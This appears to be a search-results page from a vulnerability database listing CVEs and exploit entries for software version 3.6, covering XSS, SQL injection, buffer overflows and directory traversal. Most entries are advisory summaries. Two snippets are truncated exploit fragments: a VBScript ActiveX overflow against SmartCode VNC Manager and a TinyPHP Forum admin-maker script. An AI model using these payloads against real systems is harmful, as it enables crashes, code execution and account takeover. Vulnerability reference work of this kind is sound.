791 matches found
CVE-2007-3269
Multiple cross-site scripting XSS vulnerabilities in Papoo Light 3.6 before 20070611 allow remote attackers to inject arbitrary web script or HTML via 1 the URI in a GET request or 2 the Title field of a visitor comment, and 3 allow remote authenticated users to inject arbitrary web script or HTM...
CVE-2007-2526
Heap-based buffer overflow in the ConnectAsyncEx function in VNC Viewer ActiveX control scvncctrl.dll in the SmartCode VNC Manager 3.6 allows remote attackers to execute arbitrary code via a long argument...
CVE-2007-2526
CVE-2007-2526 describes a heap-based buffer overflow in the ConnectAsyncEx function of the VNC Viewer ActiveX control (scvncctrl.dll) used by SmartCode VNC Manager 3.6, enabling remote code execution via a long argument. The connected sources confirm the vulnerable component and impact but do not...
SmartCode VNC Manager 3.6 (scvncctrl.dll) Denial of Service Exploit
No description provided by source. html object classid='clsid:62FA83F7-20EC-4D62-AC86-BAB705EE1CCD' id='target'/object script language = 'vbscript' buff = String3543,"A" getEAX = "aaaa" getEBX = "cccc" buff2 = String1440,"B" egg = buff + getEAX + getEBX + buff2 target.ConnectAsyncEx egg, 1,...
Cisco Clean Access多个远程安全漏洞
Cisco Clean Access CCA是一种用于自动检测、隔离、清除受恶意代码感染的设备访问网络的软件解决方案。 CCA的实现上存在两个安全漏洞，远程攻击得可能利用这些漏洞获取非授权访问或得到敏感信息。 CCA与Cisco Clean Access Manager CAM交互时，交互双方需要相同的密钥，CAM端的密钥在CAM和CAS初始化时设定，CCA实现上的漏洞使此密钥不可被更改，网络上所有相关的设备共享了相同的密钥，可能导致非授权访问。此漏洞的Cisco Bug ID为CSCsd48626，影响如下的CCA版本： CCA releases 3.6.x - 3.6.4.2 CCA...
CVE-2006-6040
CVE-2006-6040 affects Jelsoft vBulletin 3.6.x, specifically admincp/index.php. The vulnerability is due to cross-site scripting (XSS) via two parameters: prefs in a buildnavprefs action and navprefs in a savenavprefs action, enabling remote attackers to inject arbitrary script/HTML. Public refere...
PT-2006-6687 · Vbulletin Solutions · Vbulletin
Name of the Vulnerable Software and Affected Versions: vBulletin versions 3.6.x Description: The issue allows remote attackers to inject arbitrary web script or HTML, potentially leading to cross-site scripting XSS attacks. This can be achieved via the prefs parameter in a "buildnavprefs" action ...
Internet Security Systems 3.6 - ZWDeleteFile() Arbitrary File Deletion
Internet Security Systems 3.6 - ZWDeleteFile Arbitrary File Deletion source: https://www.securityfocus.com/bid/20546/info Internet Security Systems ISS BlackICE PC Protection is prone to a file-deletion vulnerability. An attacker can exploit this issue to delete arbitrary files within the context...
CVE-2006-4641
SQL injection vulnerability in kategori.asp in Muratsoft Haber Portal 3.6 allows remote attackers to execute arbitrary SQL commands via the kat parameter...
CVE-2006-4641
CVE-2006-4641 describes an SQL injection in Muratsoft Haber Portal 3.6, targeting the file kategori.asp via the kat parameter. The underlying issue is unsafely constructed SQL from user input, enabling an attacker to execute arbitrary SQL commands remotely. Affected software/component: Muratsoft ...
Muratsoft Haber Portal 3.6 (tr) Remote SQL Injection Vulnerability
No description provided by source. Muratsoft Haber Portal v3.6 tr SQL Injection Vulnerability Author : ASIANEAGLE Site : www.asianeagle.org Contact: [email protected] Link : http://www.aspindir.com/Goster/4350 Demo Portal : http://www.muratsoft.com/haber/www/ Price of Portal: 300YTL // Good...
TinyPHP Forum 3.6 - 'makeAdmin' Remote Admin Maker
TinyPHPForum 3.6 Admin Maker By SirDarckCat from elhacker.net Existing User: document.forms0.action=prompt"Path to forum","http://www.server.com/tpf/"+"updatepf.php"; milw0rm.com 2006-08-02...
CVE-2006-1898
Multiple cross-site scripting XSS vulnerabilities in Ralph Capper Tiny PHP Forum TPF 3.6 allow remote attackers to inject arbitrary web script or HTML via 1 the uname parameter in a view action in profile.php and 2 a login name. NOTE: the "Access to hash password" issue is already covered by...
CVE-2006-1898
CVE-2006-1898 describes multiple cross-site scripting (XSS) vulnerabilities in TinyPHPForum (TPF) 3.6 and earlier. The flaws allow remote attackers to inject arbitrary web script or HTML via (1) the uname parameter in the profile.php view action and (2) a login name. The documents do not provide ...
Directory traversal
Directory traversal vulnerability in TinyPHPForum 3.6 and earlier allows remote attackers to create a new user account, create a new topic, or view the profile of a user account, as demonstrated via a .. dot dot in the uname parameter to profile.php...
CVE-2006-0104
CVE-2006-0104 describes a directory traversal vulnerability in TinyPHPForum 3.6 and earlier. The issue enables remote attackers to perform actions such as creating a new user account, creating a new topic, or viewing another user’s profile by manipulating the uname parameter in profile.php. The a...
CVE-2005-4857
eZ publish 3.5 before 3.5.7, 3.6 before 3.6.5, 3.7 before 3.7.3, and 3.8 before 20051128 allows remote authenticated users to cause a denial of service Apache httpd segmentation fault via a request to content/advancedsearch.php with an empty SearchContentClassID parameter, reportedly related to a...
CVE-2004-2037
Buffer overflow in Mollensoft Lightweight FTP Server 3.6 allows remote authenticated users to cause a denial of service crash and possibly execute arbitrary code via a long CWD command, as demonstrated in one example by using the "cd" command in an interactive FTP client...
CVE-2005-0637
The copy functions in locore.s such as copyout in OpenBSD 3.5 and 3.6, and possibly other BSD based operating systems, may allow attackers to exceed certain address boundaries and modify kernel memory...
